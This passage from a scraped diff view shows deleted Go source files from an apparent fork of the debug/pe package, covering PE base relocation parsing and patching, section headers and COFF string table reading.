//IMAGE_REL_BASED_THUMB_MOV32 = 7
|
||||
//IMAGE_REL_BASED_RISCV_LOW12I = 7
|
||||
//IMAGE_REL_BASED_RISCV_LOW12S = 8
|
||||
//IMAGE_REL_BASED_MIPS_JMPADDR16 = 9
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
)
|
||||
|
||||
// readBaseRelocationTable - reads the base relocation table from the file and stores it
|
||||
func (f *File) readBaseRelocationTable() (*[]RelocationTableEntry, error) {
|
||||
|
||||
if f.OptionalHeader == nil { // Optional header is optional, might not exist
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var dd DataDirectory
|
||||
if f.Machine == IMAGE_FILE_MACHINE_AMD64 {
|
||||
dd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
|
||||
} else {
|
||||
dd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
|
||||
}
|
||||
var sectionData []byte
|
||||
var err error
|
||||
for _, section := range f.Sections {
|
||||
if section.VirtualAddress == dd.VirtualAddress {
|
||||
sectionData, err = section.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
r := bytes.NewReader(sectionData)
|
||||
var reloBlocks []RelocationTableEntry
|
||||
bytesRead := uint32(0)
|
||||
for bytesRead < dd.Size {
|
||||
var reloBlock RelocationBlock
|
||||
err = binary.Read(r, binary.LittleEndian, &reloBlock)
|
||||
bytesRead += 8
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read relocation block: %v", err)
|
||||
}
|
||||
numBlocks := (reloBlock.SizeOfBlock - 8) / 2
|
||||
blocks := make([]BlockItem, numBlocks)
|
||||
for i := uint32(0); i < numBlocks; i++ {
|
||||
var buf [2]byte
|
||||
err = binary.Read(r, binary.LittleEndian, &buf)
|
||||
bytesRead += 2
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read relocation block item %d: %v", i, err)
|
||||
}
|
||||
var item BlockItem
|
||||
val := binary.LittleEndian.Uint16(buf[:2])
|
||||
item.Type = byte(val >> 12)
|
||||
item.Offset = val & 0x0fff
|
||||
blocks[i] = item
|
||||
}
|
||||
reloBlocks = append(reloBlocks, RelocationTableEntry{reloBlock, blocks})
|
||||
}
|
||||
return &reloBlocks, nil
|
||||
}
|
||||
|
||||
// Relocate - performs base relocations on this image to the given offset
|
||||
func (f *File) Relocate(baseAddr uint64, image *[]byte) {
|
||||
var imageBase uint64
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
if pe64 {
|
||||
imageBase = f.OptionalHeader.(*OptionalHeader64).ImageBase
|
||||
} else {
|
||||
imageBase = uint64(f.OptionalHeader.(*OptionalHeader32).ImageBase)
|
||||
}
|
||||
for _, block := range *f.BaseRelocationTable {
|
||||
pageRVA := block.VirtualAddress
|
||||
for _, item := range block.BlockItems {
|
||||
if item.Type == IMAGE_REL_BASED_HIGHLOW { // 32 bit
|
||||
delta := uint32(baseAddr - imageBase)
|
||||
fileOffset := f.RVAToFileOffset(pageRVA)
|
||||
idx := fileOffset + uint32(item.Offset)
|
||||
originalAddress := binary.LittleEndian.Uint32((*image)[idx : idx+4])
|
||||
b := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(b, originalAddress+delta)
|
||||
copy((*image)[idx:idx+4], b)
|
||||
} else if item.Type == IMAGE_REL_BASED_DIR64 { // 64 bit
|
||||
delta := baseAddr - imageBase
|
||||
fileOffset := f.RVAToFileOffset(pageRVA)
|
||||
idx := fileOffset + uint32(item.Offset)
|
||||
originalAddress := binary.LittleEndian.Uint64((*image)[idx : idx+8])
|
||||
b := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(b, originalAddress+delta)
|
||||
copy((*image)[idx:idx+8], b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// update imageBase in the optional header
|
||||
if pe64 {
|
||||
b := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(b, baseAddr)
|
||||
idx := f.OptionalHeaderOffset + 24
|
||||
copy((*image)[idx:idx+8], b)
|
||||
} else {
|
||||
b := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(b, uint32(baseAddr))
|
||||
idx := f.OptionalHeaderOffset + 28
|
||||
copy((*image)[idx:idx+4], b)
|
||||
}
|
||||
}
|
||||
|
||||
func readRelocs(sh *SectionHeader, r io.ReadSeeker) ([]Reloc, error) {
|
||||
if sh.NumberOfRelocations <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
_, err := r.Seek(int64(sh.PointerToRelocations), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to %q section relocations: %v", sh.Name, err)
|
||||
}
|
||||
relocs := make([]Reloc, sh.NumberOfRelocations)
|
||||
err = binary.Read(r, binary.LittleEndian, relocs)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read section relocations: %v", err)
|
||||
}
|
||||
return relocs, nil
|
||||
}
|
||||
-103
@@ -1,103 +0,0 @@
|
||||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
import (
|
||||
"io"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
// SectionHeader32 represents real PE COFF section header.
|
||||
type SectionHeader32 struct {
|
||||
Name [8]uint8
|
||||
VirtualSize uint32
|
||||
VirtualAddress uint32
|
||||
SizeOfRawData uint32
|
||||
PointerToRawData uint32
|
||||
PointerToRelocations uint32
|
||||
PointerToLineNumbers uint32
|
||||
NumberOfRelocations uint16
|
||||
NumberOfLineNumbers uint16
|
||||
Characteristics uint32
|
||||
}
|
||||
|
||||
// fullName finds real name of section sh. Normally name is stored
|
||||
// in sh.Name, but if it is longer then 8 characters, it is stored
|
||||
// in COFF string table st instead.
|
||||
func (sh *SectionHeader32) fullName(st StringTable) (string, error) {
|
||||
if sh.Name[0] != '/' {
|
||||
return cstring(sh.Name[:]), nil
|
||||
}
|
||||
i, err := strconv.Atoi(cstring(sh.Name[1:]))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return st.String(uint32(i))
|
||||
}
|
||||
|
||||
// SectionHeader is similar to SectionHeader32 with Name
|
||||
// field replaced by Go string. OriginalName is the
|
||||
// original name of the section on disk.
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
OriginalName [8]uint8
|
||||
VirtualSize uint32
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
Offset uint32
|
||||
PointerToRelocations uint32
|
||||
PointerToLineNumbers uint32
|
||||
NumberOfRelocations uint16
|
||||
NumberOfLineNumbers uint16
|
||||
Characteristics uint32
|
||||
}
|
||||
|
||||
// Section provides access to PE COFF section.
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
Relocs []Reloc
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the PE section s.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
|
||||
if s.sr == nil { // This section was added from code, the internal SectionReader is nil
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
dat := make([]byte, s.sr.Size())
|
||||
n, err := s.sr.ReadAt(dat, 0)
|
||||
if n == len(dat) {
|
||||
err = nil
|
||||
}
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the PE section s.
|
||||
func (s *Section) Open() io.ReadSeeker {
|
||||
return io.NewSectionReader(s.sr, 0, 1<<63-1)
|
||||
}
|
||||
|
||||
// Section Flags (Characteristics field)
|
||||
const (
|
||||
IMAGE_SCN_CNT_CODE = 0x00000020 // Section contains code
|
||||
IMAGE_SCN_MEM_EXECUTE = 0x20000000 // Section is executable
|
||||
IMAGE_SCN_MEM_READ = 0x40000000 // Section is readable
|
||||
|
||||
IMAGE_FILE_RELOCS_STRIPPED = 0x0001 // Relocation info stripped from file
|
||||
|
||||
IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100 // Image is NX compatable
|
||||
|
||||
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040 // DLL can move
|
||||
)
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// cstring converts ASCII byte sequence b to string.
|
||||
// It stops once it finds 0 or reaches end of b.
|
||||
func cstring(b []byte) string {
|
||||
i := bytes.IndexByte(b, 0)
|
||||
if i == -1 {
|
||||
i = len(b)
|
||||
}
|
||||
return string(b[:i])
|
||||
}
|
||||
|
||||
// StringTable is a COFF string table.
|
||||
type StringTable []byte
|
||||
|
||||
func readStringTable(fh *FileHeader, r io.ReadSeeker) (StringTable, error) {
|
||||
// COFF string table is located right after COFF symbol table.
|
||||
if fh.PointerToSymbolTable <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
offset := fh.PointerToSymbolTable + COFFSymbolSize*fh.NumberOfSymbols
|
||||
_, err := r.Seek(int64(offset), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to string table: %v", err)
|
||||
}
|
||||
var l uint32
|
||||
err = binary.Read(r, binary.LittleEndian, &l)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read string table length: %v", err)
|
||||
}
|
||||
// string table length includes itself
|
||||
if l <= 4 {
|
||||
return nil, nil
|
||||
}
|
||||
l -= 4
|
||||
buf := make([]byte, l)
|
||||
_, err = io.ReadFull(r, buf)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read string table: %v", err)
|
||||
}
|
||||
// re-add the length to the first four bytes of the string table
|
||||
lbuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(lbuf, l)
|
||||
|
||||
return StringTable(append(lbuf, buf...)), nil
|
||||
}
|
||||
|
||||
// String extracts string from COFF string table st at offset start.
|
||||
func (st StringTable) String(start uint32) (string, error) {
|
||||
// start includes 4 bytes of string table length
|
||||
if start < 4 {
|
||||
return "", fmt.Errorf("offset %d is before the start of string table", start)
|
||||
}
|
||||
//start -= 4 // we are now including the uint32 length in the StringTable buffer as a prefix, this might change
|
||||
if int(start) > len(st) {
|
||||
return "", fmt.Errorf("offset %d is beyond the end of string table", start)
|
||||
}
|
||||
return cstring(st[start:]), nil
|
||||
}
|
||||
Loaded 100 of 2831 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user